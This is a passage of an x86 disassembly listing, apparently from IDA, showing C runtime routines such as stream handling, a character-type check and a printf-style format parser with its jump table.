; ---------------------------------------------------------------------------
loc_41FD00: ; CODE XREF: sub_41FBCD+4Aj
; sub_41FBCD+52j
push 1A4h
push [ebp+arg_8]
push ecx
push [ebp+arg_0]
call sub_42423B
mov ecx, eax
add esp, 10h
cmp ecx, ebx
jge short loc_41FD1E
loc_41FD1A: ; CODE XREF: sub_41FBCD+25j
xor eax, eax
jmp short loc_41FD38
; ---------------------------------------------------------------------------
loc_41FD1E: ; CODE XREF: sub_41FBCD+14Bj
mov eax, [ebp+arg_C]
inc dword_4DBFBC
mov [eax+0Ch], esi
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], ebx
mov [eax+1Ch], ebx
mov [eax+10h], ecx
loc_41FD38: ; CODE XREF: sub_41FBCD+14Fj
pop edi
pop esi
pop ebx
leave
retn
sub_41FBCD endp
; =============== S U B R O U T I N E =======================================
sub_41FD3D proc near ; CODE XREF: sub_41BE82p
mov edx, dword_4DD040
push ebx
push ebp
push esi
xor ebp, ebp
xor esi, esi
xor eax, eax
cmp edx, ebp
push edi
jle short loc_41FDAE
mov ebx, dword_4DC02C
mov edi, ebx
loc_41FD59: ; CODE XREF: sub_41FD3D+2Ej
mov ecx, [edi]
cmp ecx, ebp
jz short loc_41FD74
test byte ptr [ecx+0Ch], 83h
jz short loc_41FD6F
inc eax
add edi, 4
cmp eax, edx
jl short loc_41FD59
jmp short loc_41FDAE
; ---------------------------------------------------------------------------
loc_41FD6F: ; CODE XREF: sub_41FD3D+26j
mov esi, [ebx+eax*4]
jmp short loc_41FD98
; ---------------------------------------------------------------------------
loc_41FD74: ; CODE XREF: sub_41FD3D+20j
mov edi, eax
push 20h
shl edi, 2
call sub_41BEB5
pop ecx
mov ecx, dword_4DC02C
mov [edi+ecx], eax
mov eax, dword_4DC02C
mov edi, [edi+eax]
cmp edi, ebp
jz short loc_41FDAE
mov esi, edi
loc_41FD98: ; CODE XREF: sub_41FD3D+35j
cmp esi, ebp
jz short loc_41FDAE
or dword ptr [esi+10h], 0FFFFFFFFh
mov [esi+4], ebp
mov [esi+0Ch], ebp
mov [esi+8], ebp
mov [esi], ebp
mov [esi+1Ch], ebp
loc_41FDAE: ; CODE XREF: sub_41FD3D+12j
; sub_41FD3D+30j ...
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41FD3D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FDB5 proc near ; CODE XREF: sub_41C0CE+17p
; sub_41C0CE+58p ...
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
lea ecx, [eax+1]
cmp ecx, 100h
ja short loc_41FDD3
mov ecx, off_43CE88
movzx eax, word ptr [ecx+eax*2]
jmp short loc_41FE25
; ---------------------------------------------------------------------------
loc_41FDD3: ; CODE XREF: sub_41FDB5+10j
mov ecx, eax
push esi
mov esi, off_43CE88
sar ecx, 8
movzx edx, cl
test byte ptr [esi+edx*2+1], 80h
pop esi
jz short loc_41FDF8
and [ebp+var_2], 0
mov [ebp+var_4], cl
mov [ebp+var_3], al
push 2
jmp short loc_41FE01
; ---------------------------------------------------------------------------
loc_41FDF8: ; CODE XREF: sub_41FDB5+33j
and [ebp+var_3], 0
mov [ebp+var_4], al
push 1
loc_41FE01: ; CODE XREF: sub_41FDB5+41j
pop eax
lea ecx, [ebp+arg_0+2]
push 1
push 0
push 0
push ecx
push eax
lea eax, [ebp+var_4]
push eax
push 1
call sub_4244F4
add esp, 1Ch
test eax, eax
jnz short loc_41FE21
leave
retn
; ---------------------------------------------------------------------------
loc_41FE21: ; CODE XREF: sub_41FDB5+68j
movzx eax, word ptr [ebp+arg_0+2]
loc_41FE25: ; CODE XREF: sub_41FDB5+1Cj
and eax, [ebp+arg_4]
leave
retn
sub_41FDB5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FE2A proc near ; CODE XREF: sub_41C266+46p
; sub_41C360+45p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [esi+0Ch]
mov ebx, [esi+10h]
test al, 82h
jz loc_41FF33
test al, 40h
jnz loc_41FF33
test al, 1
jz short loc_41FE62
and dword ptr [esi+4], 0
test al, 10h
jz loc_41FF33
mov ecx, [esi+8]
and al, 0FEh
mov [esi], ecx
mov [esi+0Ch], eax
loc_41FE62: ; CODE XREF: sub_41FE2A+20j
mov eax, [esi+0Ch]
and dword ptr [esi+4], 0
and [ebp+arg_4], 0
and al, 0EFh
or al, 2
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_41FE9C
cmp esi, offset dword_43D598
jz short loc_41FE8A
cmp esi, offset dword_43D5B8
jnz short loc_41FE95
loc_41FE8A: ; CODE XREF: sub_41FE2A+56j
push ebx
call sub_42463D
test eax, eax
pop ecx
jnz short loc_41FE9C
loc_41FE95: ; CODE XREF: sub_41FE2A+5Ej
push esi
call sub_4241F7
pop ecx
loc_41FE9C: ; CODE XREF: sub_41FE2A+4Ej
; sub_41FE2A+69j
test word ptr [esi+0Ch], 108h
push edi
jz short loc_41FF09
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
lea ecx, [eax+1]
mov [esi], ecx
mov ecx, [esi+18h]
dec ecx
test edi, edi
mov [esi+4], ecx
jle short loc_41FECC
push edi
push eax
push ebx
call sub_4230FB
add esp, 0Ch
mov [ebp+arg_4], eax
jmp short loc_41FEFF
; ---------------------------------------------------------------------------
loc_41FECC: ; CODE XREF: sub_41FE2A+90j
cmp ebx, 0FFFFFFFFh
jz short loc_41FEE7
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_4DD060[eax*4]
lea eax, [eax+ecx*8]
jmp short loc_41FEEC
; ---------------------------------------------------------------------------
loc_41FEE7: ; CODE XREF: sub_41FE2A+A5j
mov eax, offset dword_43D4E0
loc_41FEEC: ; CODE XREF: sub_41FE2A+BBj
test byte ptr [eax+4], 20h
jz short loc_41FEFF
push 2
push 0
push ebx
call sub_422F09
add esp, 0Ch
loc_41FEFF: ; CODE XREF: sub_41FE2A+A0j
; sub_41FE2A+C6j
mov eax, [esi+8]
mov cl, byte ptr [ebp+arg_0]
mov [eax], cl
jmp short loc_41FF1D
; ---------------------------------------------------------------------------
loc_41FF09: ; CODE XREF: sub_41FE2A+79j
push 1
lea eax, [ebp+arg_0]
pop edi
push edi
push eax
push ebx
call sub_4230FB
add esp, 0Ch
mov [ebp+arg_4], eax
loc_41FF1D: ; CODE XREF: sub_41FE2A+DDj
cmp [ebp+arg_4], edi
pop edi
jz short loc_41FF29
or dword ptr [esi+0Ch], 20h
jmp short loc_41FF38
; ---------------------------------------------------------------------------
loc_41FF29: ; CODE XREF: sub_41FE2A+F7j
mov eax, [ebp+arg_0]
and eax, 0FFh
jmp short loc_41FF3B
; ---------------------------------------------------------------------------
loc_41FF33: ; CODE XREF: sub_41FE2A+10j
; sub_41FE2A+18j ...
or al, 20h
mov [esi+0Ch], eax
loc_41FF38: ; CODE XREF: sub_41FE2A+FDj
or eax, 0FFFFFFFFh
loc_41FF3B: ; CODE XREF: sub_41FE2A+107j
pop esi
pop ebx
pop ebp
retn
sub_41FE2A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FF3F proc near ; CODE XREF: sub_41C266+29p
; sub_41C360+28p ...
var_248 = byte ptr -248h
var_247 = byte ptr -247h
var_49 = byte ptr -49h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 248h
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+var_C], esi
mov [ebp+var_14], esi
mov [ebp+arg_4], edi
jz loc_420658
mov ecx, [ebp+var_10]
xor edx, edx
jmp short loc_41FF73
; ---------------------------------------------------------------------------
loc_41FF6B: ; CODE XREF: sub_41FF3F+713j
mov ecx, [ebp+var_10]
mov esi, [ebp+var_30]
xor edx, edx
loc_41FF73: ; CODE XREF: sub_41FF3F+2Aj
cmp [ebp+var_14], edx
jl loc_420658
cmp bl, 20h
jl short loc_41FF94
cmp bl, 78h
jg short loc_41FF94
movsx eax, bl
mov al, [eax+42771Ch]
and eax, 0Fh
jmp short loc_41FF96
; ---------------------------------------------------------------------------
loc_41FF94: ; CODE XREF: sub_41FF3F+40j
; sub_41FF3F+45j
xor eax, eax
loc_41FF96: ; CODE XREF: sub_41FF3F+53j
movsx eax, byte_42773C[esi+eax*8]
sar eax, 4
cmp eax, 7 ; switch 8 cases
mov [ebp+var_30], eax
ja loc_420647 ; default
jmp off_420660[eax*4] ; switch jump
loc_41FFB4: ; DATA XREF: .packed:off_420660o
or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041FFAD case 1
mov [ebp+var_34], edx
mov [ebp+var_28], edx
mov [ebp+var_20], edx
mov [ebp+var_1C], edx
mov [ebp+var_4], edx
mov [ebp+var_24], edx
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_41FFCF: ; CODE XREF: sub_41FF3F+6Ej
; DATA XREF: .packed:off_420660o
movsx eax, bl ; jumptable 0041FFAD case 2
sub eax, 20h
jz short loc_420012
sub eax, 3
jz short loc_420009
sub eax, 8
jz short loc_420000
dec eax
dec eax
jz short loc_41FFF7
sub eax, 3
jnz loc_420647 ; default
or [ebp+var_4], 8
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_41FFF7: ; CODE XREF: sub_41FF3F+A4j
or [ebp+var_4], 4
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_420000: ; CODE XREF: sub_41FF3F+A0j
or [ebp+var_4], 1
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_420009: ; CODE XREF: sub_41FF3F+9Bj
or byte ptr [ebp+var_4], 80h
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_420012: ; CODE XREF: sub_41FF3F+96j
or [ebp+var_4], 2
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_42001B: ; CODE XREF: sub_41FF3F+6Ej
; DATA XREF: .packed:off_420660o
cmp bl, 2Ah ; jumptable 0041FFAD case 3
jnz short loc_420043
lea eax, [ebp+arg_8]
push eax
call sub_42071E
test eax, eax
pop ecx
mov [ebp+var_20], eax
jge loc_420647 ; default
or [ebp+var_4], 4
neg eax
loc_42003B: ; CODE XREF: sub_41FF3F+111j
mov [ebp+var_20], eax
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_420043: ; CODE XREF: sub_41FF3F+DFj
mov eax, [ebp+var_20]
movsx ecx, bl
lea eax, [eax+eax*4]
lea eax, [ecx+eax*2-30h]
jmp short loc_42003B
; ---------------------------------------------------------------------------
loc_420052: ; CODE XREF: sub_41FF3F+6Ej
; DATA XREF: .packed:off_420660o
mov [ebp+var_10], edx ; jumptable 0041FFAD case 4
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_42005A: ; CODE XREF: sub_41FF3F+6Ej
; DATA XREF: .packed:off_420660o
cmp bl, 2Ah ; jumptable 0041FFAD case 5
jnz short loc_42007D
lea eax, [ebp+arg_8]
push eax
call sub_42071E
test eax, eax
pop ecx
mov [ebp+var_10], eax
jge loc_420647 ; default
or [ebp+var_10], 0FFFFFFFFh
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_42007D: ; CODE XREF: sub_41FF3F+11Ej
lea eax, [ecx+ecx*4]
movsx ecx, bl
lea eax, [ecx+eax*2-30h]
mov [ebp+var_10], eax
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_42008F: ; CODE XREF: sub_41FF3F+6Ej
; DATA XREF: .packed:off_420660o
cmp bl, 49h ; jumptable 0041FFAD case 6
jz short loc_4200C2
cmp bl, 68h
jz short loc_4200B9
cmp bl, 6Ch
jz short loc_4200B0
cmp bl, 77h
jnz loc_420647 ; default
or byte ptr [ebp+var_4+1], 8
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_4200B0: ; CODE XREF: sub_41FF3F+15Dj
or [ebp+var_4], 10h
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_4200B9: ; CODE XREF: sub_41FF3F+158j
or [ebp+var_4], 20h
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_4200C2: ; CODE XREF: sub_41FF3F+153j
cmp byte ptr [edi], 36h
jnz short loc_4200DB
cmp byte ptr [edi+1], 34h
jnz short loc_4200DB
inc edi
inc edi
or byte ptr [ebp+var_4+1], 80h
mov [ebp+arg_4], edi
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_4200DB: ; CODE XREF: sub_41FF3F+186j
; sub_41FF3F+18Cj
mov [ebp+var_30], edx
loc_4200DE: ; CODE XREF: sub_41FF3F+6Ej
; DATA XREF: .packed:off_420660o
mov ecx, off_43CE88 ; jumptable 0041FFAD case 0
mov [ebp+var_24], edx
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_42010A
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_420680
mov bl, [edi]
add esp, 0Ch
inc edi
mov [ebp+arg_4], edi
loc_42010A: ; CODE XREF: sub_41FF3F+1B0j
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_420680
add esp, 0Ch
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_420122: ; CODE XREF: sub_41FF3F+6Ej
; DATA XREF: .packed:off_420660o
movsx eax, bl ; jumptable 0041FFAD case 7
cmp eax, 67h
jg loc_42034A
cmp eax, 65h
jge loc_4201CD
cmp eax, 58h
jg loc_42022B
jz loc_4203BE
sub eax, 43h
jz loc_4201EE
dec eax
dec eax
jz short loc_4201C3
dec eax
dec eax
jz short loc_4201C3
sub eax, 0Ch
jnz loc_420549
test word ptr [ebp+var_4], 830h
jnz short loc_42016C
or byte ptr [ebp+var_4+1], 8
loc_42016C: ; CODE XREF: sub_41FF3F+227j
; sub_41FF3F+42Aj
mov esi, [ebp+var_10]
cmp esi, 0FFFFFFFFh
jnz short loc_420179
mov esi, 7FFFFFFFh
loc_420179: ; CODE XREF: sub_41FF3F+233j
lea eax, [ebp+arg_8]
push eax
call sub_42071E
test word ptr [ebp+var_4], 810h
pop ecx
mov ecx, eax
mov [ebp+var_8], ecx
jz loc_420392
test ecx, ecx
jnz short loc_4201A1
mov ecx, off_43D0A4
mov [ebp+var_8], ecx
loc_4201A1: ; CODE XREF: sub_41FF3F+257j
mov [ebp+var_24], 1
mov eax, ecx
loc_4201AA: ; CODE XREF: sub_41FF3F+282j
mov edx, esi
dec esi
test edx, edx
jz loc_420389
cmp word ptr [eax], 0
jz loc_420389
inc eax
inc eax
jmp short loc_4201AA
; ---------------------------------------------------------------------------
loc_4201C3: ; CODE XREF: sub_41FF3F+212j
; sub_41FF3F+216j
mov [ebp+var_34], 1
add bl, 20h
loc_4201CD: ; CODE XREF: sub_41FF3F+1F2j
or [ebp+var_4], 40h
lea edi, [ebp+var_248]
cmp ecx, edx
mov [ebp+var_8], edi
jge loc_4202B1
mov [ebp+var_10], 6
jmp loc_4202BF
; ---------------------------------------------------------------------------
loc_4201EE: ; CODE XREF: sub_41FF3F+20Aj
test word ptr [ebp+var_4], 830h
jnz short loc_4201FA
or byte ptr [ebp+var_4+1], 8
loc_4201FA: ; CODE XREF: sub_41FF3F+2B5j
; sub_41FF3F+2F4j
test word ptr [ebp+var_4], 810h
lea eax, [ebp+arg_8]
push eax
jz short loc_420241
call sub_42073B
push eax
lea eax, [ebp+var_248]
push eax
call sub_424663
add esp, 0Ch
mov [ebp+var_C], eax
test eax, eax
jge short loc_420254
mov [ebp+var_28], 1
jmp short loc_420254
; ---------------------------------------------------------------------------
loc_42022B: ; CODE XREF: sub_41FF3F+1FBj
sub eax, 5Ah
jz short loc_420262
sub eax, 9
jz short loc_4201FA
dec eax
jz loc_420424
jmp loc_420549
; ---------------------------------------------------------------------------
loc_420241: ; CODE XREF: sub_41FF3F+2C5j
call sub_42071E
pop ecx
mov [ebp+var_248], al
mov [ebp+var_C], 1
loc_420254: ; CODE XREF: sub_41FF3F+2E1j
; sub_41FF3F+2EAj
lea eax, [ebp+var_248]
mov [ebp+var_8], eax
jmp loc_420549
; ---------------------------------------------------------------------------
loc_420262: ; CODE XREF: sub_41FF3F+2EFj
lea eax, [ebp+arg_8]
push eax
call sub_42071E
test eax, eax
pop ecx
jz short loc_4202A3
mov ecx, [eax+4]
test ecx, ecx
jz short loc_4202A3
test byte ptr [ebp+var_4+1], 8
jz short loc_420294
movsx eax, word ptr [eax]
shr eax, 1
mov [ebp+var_8], ecx
mov [ebp+var_C], eax
mov [ebp+var_24], 1
jmp loc_420549
; ---------------------------------------------------------------------------
loc_420294: ; CODE XREF: sub_41FF3F+33Cj
and [ebp+var_24], 0
mov [ebp+var_8], ecx
movsx eax, word ptr [eax]
jmp loc_420546
; ---------------------------------------------------------------------------
loc_4202A3: ; CODE XREF: sub_41FF3F+32Fj
; sub_41FF3F+336j
mov eax, off_43D0A0
mov [ebp+var_8], eax
push eax
jmp loc_42033F
; ---------------------------------------------------------------------------
loc_4202B1: ; CODE XREF: sub_41FF3F+29Dj
jnz short loc_4202BF
cmp bl, 67h
jnz short loc_4202BF
mov [ebp+var_10], 1
loc_4202BF: ; CODE XREF: sub_41FF3F+2AAj
; sub_41FF3F:loc_4202B1j ...
mov eax, [ebp+arg_8]
push [ebp+var_34]
add eax, 8
mov [ebp+arg_8], eax
push [ebp+var_10]
mov ecx, [eax-8]
mov [ebp+var_48], ecx
mov eax, [eax-4]
mov [ebp+var_44], eax
movsx eax, bl
push eax
lea eax, [ebp+var_248]
push eax
lea eax, [ebp+var_48]
push eax
call off_43D430
mov esi, [ebp+var_4]
add esp, 14h
and esi, 80h
jz short loc_420311
cmp [ebp+var_10], 0
jnz short loc_420311
lea eax, [ebp+var_248]
push eax
call off_43D43C
pop ecx
loc_420311: ; CODE XREF: sub_41FF3F+3BCj
; sub_41FF3F+3C2j
cmp bl, 67h
jnz short loc_420328
test esi, esi
jnz short loc_420328
lea eax, [ebp+var_248]
push eax
call off_43D434
pop ecx
loc_420328: ; CODE XREF: sub_41FF3F+3D5j
; sub_41FF3F+3D9j
cmp [ebp+var_248], 2Dh
jnz short loc_42033E
or byte ptr [ebp+var_4+1], 1
lea edi, [ebp+var_247]
mov [ebp+var_8], edi
loc_42033E: ; CODE XREF: sub_41FF3F+3F0j
push edi
loc_42033F: ; CODE XREF: sub_41FF3F+36Dj
call sub_41B9C0
pop ecx
jmp loc_420546
; ---------------------------------------------------------------------------
loc_42034A: ; CODE XREF: sub_41FF3F+1E9j
sub eax, 69h
jz loc_420424
sub eax, 5
jz loc_4203FA
dec eax
jz loc_4203E7
dec eax
jz short loc_4203B7
sub eax, 3
jz loc_42016C
dec eax
dec eax
jz loc_420428
sub eax, 3
jnz loc_420549
mov [ebp+var_2C], 27h
jmp short loc_4203C5
; ---------------------------------------------------------------------------
loc_420389: ; CODE XREF: sub_41FF3F+270j
; sub_41FF3F+27Aj
sub eax, ecx
sar eax, 1
jmp loc_420546
; ---------------------------------------------------------------------------
loc_420392: ; CODE XREF: sub_41FF3F+24Fj
test ecx, ecx
jnz short loc_42039F
mov ecx, off_43D0A0
mov [ebp+var_8], ecx
loc_42039F: ; CODE XREF: sub_41FF3F+455j
mov eax, ecx
loc_4203A1: ; CODE XREF: sub_41FF3F+46Fj
mov edx, esi
dec esi
test edx, edx
jz short loc_4203B0
cmp byte ptr [eax], 0
jz short loc_4203B0
inc eax
jmp short loc_4203A1
; ---------------------------------------------------------------------------
loc_4203B0: ; CODE XREF: sub_41FF3F+467j
; sub_41FF3F+46Cj
sub eax, ecx
jmp loc_420546
; ---------------------------------------------------------------------------
loc_4203B7: ; CODE XREF: sub_41FF3F+425j
mov [ebp+var_10], 8
loc_4203BE: ; CODE XREF: sub_41FF3F+201j
mov [ebp+var_2C], 7
loc_4203C5: ; CODE XREF: sub_41FF3F+448j
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 10h
jz short loc_42042F
mov al, byte ptr [ebp+var_2C]
mov [ebp+var_16], 30h
add al, 51h
mov [ebp+var_1C], 2
mov [ebp+var_15], al
jmp short loc_42042F
; ---------------------------------------------------------------------------
loc_4203E7: ; CODE XREF: sub_41FF3F+41Ej
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 8
jz short loc_42042F
or byte ptr [ebp+var_4+1], 2
jmp short loc_42042F
; ---------------------------------------------------------------------------
loc_4203FA: ; CODE XREF: sub_41FF3F+417j
lea eax, [ebp+arg_8]
push eax
call sub_42071E
test byte ptr [ebp+var_4], 20h
pop ecx
jz short loc_420413
mov cx, word ptr [ebp+var_14]
mov [eax], cx
jmp short loc_420418
; ---------------------------------------------------------------------------
loc_420413: ; CODE XREF: sub_41FF3F+4C9j
mov ecx, [ebp+var_14]
mov [eax], ecx
loc_420418: ; CODE XREF: sub_41FF3F+4D2j
mov [ebp+var_28], 1
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_420424: ; CODE XREF: sub_41FF3F+2F7j
; sub_41FF3F+40Ej
or [ebp+var_4], 40h
loc_420428: ; CODE XREF: sub_41FF3F+432j
mov [ebp+var_C], 0Ah
loc_42042F: ; CODE XREF: sub_41FF3F+491j
; sub_41FF3F+4A6j ...
test byte ptr [ebp+var_4+1], 80h
jz short loc_420441
lea eax, [ebp+arg_8]
push eax
call sub_42072B
pop ecx
jmp short loc_420482
; ---------------------------------------------------------------------------
loc_420441: ; CODE XREF: sub_41FF3F+4F4j
test byte ptr [ebp+var_4], 20h
jz short loc_420468
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_42045D
call sub_42071E
pop ecx
movsx eax, ax
loc_42045A: ; CODE XREF: sub_41FF3F+527j
; sub_41FF3F+539j
cdq
jmp short loc_420482
; ---------------------------------------------------------------------------
loc_42045D: ; CODE XREF: sub_41FF3F+510j
call sub_42071E
pop ecx
movzx eax, ax
jmp short loc_42045A
; ---------------------------------------------------------------------------
loc_420468: ; CODE XREF: sub_41FF3F+506j
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_42047A
call sub_42071E
pop ecx
jmp short loc_42045A
; ---------------------------------------------------------------------------
loc_42047A: ; CODE XREF: sub_41FF3F+531j
call sub_42071E
pop ecx
xor edx, edx
loc_420482: ; CODE XREF: sub_41FF3F+500j
; sub_41FF3F+51Cj
test byte ptr [ebp+var_4], 40h
jz short loc_4204A3
test edx, edx
jg short loc_4204A3
jl short loc_420492
test eax, eax
jnb short loc_4204A3
loc_420492: ; CODE XREF: sub_41FF3F+54Dj
neg eax
adc edx, 0
mov esi, eax
neg edx
or byte ptr [ebp+var_4+1], 1
mov edi, edx
jmp short loc_4204A7
; ---------------------------------------------------------------------------
loc_4204A3: ; CODE XREF: sub_41FF3F+547j
; sub_41FF3F+54Bj ...
mov esi, eax
mov edi, edx
loc_4204A7: ; CODE XREF: sub_41FF3F+562j
test byte ptr [ebp+var_4+1], 80h
jnz short loc_4204B0
and edi, 0
loc_4204B0: ; CODE XREF: sub_41FF3F+56Cj
cmp [ebp+var_10], 0
jge short loc_4204BF
mov [ebp+var_10], 1
jmp short loc_4204C3
; ---------------------------------------------------------------------------
loc_4204BF: ; CODE XREF: sub_41FF3F+575j
and [ebp+var_4], 0FFFFFFF7h
loc_4204C3: ; CODE XREF: sub_41FF3F+57Ej
mov eax, esi
or eax, edi
jnz short loc_4204CD
and [ebp+var_1C], 0
loc_4204CD: ; CODE XREF: sub_41FF3F+588j
lea eax, [ebp+var_49]
mov [ebp+var_8], eax
loc_4204D3: ; CODE XREF: sub_41FF3F+5DDj
mov eax, [ebp+var_10]
dec [ebp+var_10]
test eax, eax
jg short loc_4204E3
mov eax, esi
or eax, edi
jz short loc_42051E
loc_4204E3: ; CODE XREF: sub_41FF3F+59Cj
mov eax, [ebp+var_C]
cdq
push edx
push eax
push edi
push esi
mov [ebp+var_40], eax
mov [ebp+var_3C], edx
call sub_41DD20
push [ebp+var_3C]
mov ebx, eax
add ebx, 30h
push [ebp+var_40]
push edi
push esi
call sub_41DCB0
cmp ebx, 39h
mov esi, eax
mov edi, edx
jle short loc_420514
add ebx, [ebp+var_2C]
loc_420514: ; CODE XREF: sub_41FF3F+5D0j
mov eax, [ebp+var_8]
dec [ebp+var_8]
mov [eax], bl
jmp short loc_4204D3
; ---------------------------------------------------------------------------
loc_42051E: ; CODE XREF: sub_41FF3F+5A2j
lea eax, [ebp+var_49]
sub eax, [ebp+var_8]
inc [ebp+var_8]
test byte ptr [ebp+var_4+1], 2
mov [ebp+var_C], eax
jz short loc_420549
mov ecx, [ebp+var_8]
cmp byte ptr [ecx], 30h
jnz short loc_42053C
test eax, eax
jnz short loc_420549
loc_42053C: ; CODE XREF: sub_41FF3F+5F7j
dec [ebp+var_8]
inc eax
mov ecx, [ebp+var_8]
mov byte ptr [ecx], 30h
loc_420546: ; CODE XREF: sub_41FF3F+35Fj
; sub_41FF3F+406j ...
mov [ebp+var_C], eax
loc_420549: ; CODE XREF: sub_41FF3F+21Bj
; sub_41FF3F+2FDj ...
cmp [ebp+var_28], 0
jnz loc_420647 ; default
mov ebx, [ebp+var_4]
test bl, 40h
jz short loc_420581
test bh, 1
jz short loc_420566
mov [ebp+var_16], 2Dh
jmp short loc_42057A
; ---------------------------------------------------------------------------
loc_420566: ; CODE XREF: sub_41FF3F+61Fj
test bl, 1
jz short loc_420571
mov [ebp+var_16], 2Bh
jmp short loc_42057A
; ---------------------------------------------------------------------------
loc_420571: ; CODE XREF: sub_41FF3F+62Aj
test bl, 2
jz short loc_420581
mov [ebp+var_16], 20h
loc_42057A: ; CODE XREF: sub_41FF3F+625j
; sub_41FF3F+630j
mov [ebp+var_1C], 1
loc_420581: ; CODE XREF: sub_41FF3F+61Aj
; sub_41FF3F+635j
mov esi, [ebp+var_20]
sub esi, [ebp+var_1C]
sub esi, [ebp+var_C]
test bl, 0Ch
jnz short loc_4205A1
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_4206B5
add esp, 10h
loc_4205A1: ; CODE XREF: sub_41FF3F+64Ej
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_16]
push [ebp+arg_0]
push [ebp+var_1C]
push eax
call sub_4206E6
add esp, 10h
test bl, 8
jz short loc_4205D3
test bl, 4
jnz short loc_4205D3
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 30h
call sub_4206B5
add esp, 10h
loc_4205D3: ; CODE XREF: sub_41FF3F+67Bj
; sub_41FF3F+680j
cmp [ebp+var_24], 0
jz short loc_42061A
cmp [ebp+var_C], 0
jle short loc_42061A
mov eax, [ebp+var_C]
mov ebx, [ebp+var_8]
lea edi, [eax-1]
loc_4205E8: ; CODE XREF: sub_41FF3F+6D7j
mov ax, [ebx]
inc ebx
push eax
lea eax, [ebp+var_38]
push eax
inc ebx
call sub_424663
pop ecx
test eax, eax
pop ecx
jle short loc_42062F
lea ecx, [ebp+var_14]
push ecx
push [ebp+arg_0]
push eax
lea eax, [ebp+var_38]
push eax
call sub_4206E6
add esp, 10h
mov eax, edi
dec edi
test eax, eax
jnz short loc_4205E8
jmp short loc_42062F
; ---------------------------------------------------------------------------
loc_42061A: ; CODE XREF: sub_41FF3F+698j
; sub_41FF3F+69Ej
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push [ebp+var_C]
push [ebp+var_8]
call sub_4206E6
add esp, 10h
loc_42062F: ; CODE XREF: sub_41FF3F+6BCj
; sub_41FF3F+6D9j
test byte ptr [ebp+var_4], 4
jz short loc_420647 ; default
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_4206B5
add esp, 10h
loc_420647: ; CODE XREF: sub_41FF3F+68j
; sub_41FF3F+8Bj ...
mov edi, [ebp+arg_4] ; default
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+arg_4], edi
jnz loc_41FF6B
loc_420658: ; CODE XREF: sub_41FF3F+1Fj
; sub_41FF3F+37j
mov eax, [ebp+var_14]
pop edi
pop esi
pop ebx
leave
retn
sub_41FF3F endp
; ---------------------------------------------------------------------------
off_420660 dd offset loc_4200DE ; DATA XREF: sub_41FF3F+6Er
dd offset loc_41FFB4 ; jump table for switch statement
dd offset loc_41FFCF
dd offset loc_42001B
dd offset loc_420052
dd offset loc_42005A
dd offset loc_42008F
dd offset loc_420122
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420680 proc near ; CODE XREF: sub_41FF3F+1BDp
; sub_41FF3F+1D6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_4]
dec dword ptr [ecx+4]
js short loc_420699
mov edx, [ecx]
mov al, byte ptr [ebp+arg_0]
mov [edx], al
inc dword ptr [ecx]
movzx eax, al
